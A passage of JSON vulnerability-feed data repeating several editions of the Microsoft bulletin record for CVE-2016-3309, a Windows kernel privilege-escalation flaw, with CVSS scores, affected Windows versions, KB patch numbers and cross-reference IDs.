Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-04T14:46:24", "differentElements": ["msAffectedSoftware"], "edition": 9}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-04T16:51:20", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-04T16:51:20", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-04T16:51:20", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176493", "KB3176492", "KB3177725", "KB3168965", "KB3163912", "KB3172985", "KB3176495"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-04T16:51:20", "differentElements": ["msAffectedSoftware"], "edition": 10}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-05T06:46:35", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-05T06:46:35", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-05T06:46:35", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3163912", "KB3176492", "KB3172985", "KB3168965", "KB3176495", "KB3176493", "KB3177725"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-05T06:46:35", "differentElements": ["msAffectedSoftware"], "edition": 11}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-05T08:49:10", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-05T08:49:10", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-05T08:49:10", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176493", "KB3176492", "KB3168965", "KB3177725", "KB3176495", "KB3163912", "KB3172985"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-05T08:49:10", "differentElements": ["msAffectedSoftware"], "edition": 12}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-05T18:46:18", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-05T18:46:18", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-05T18:46:18", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3177725", "KB3168965", "KB3176492", "KB3176493", "KB3172985", "KB3163912", "KB3176495"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": 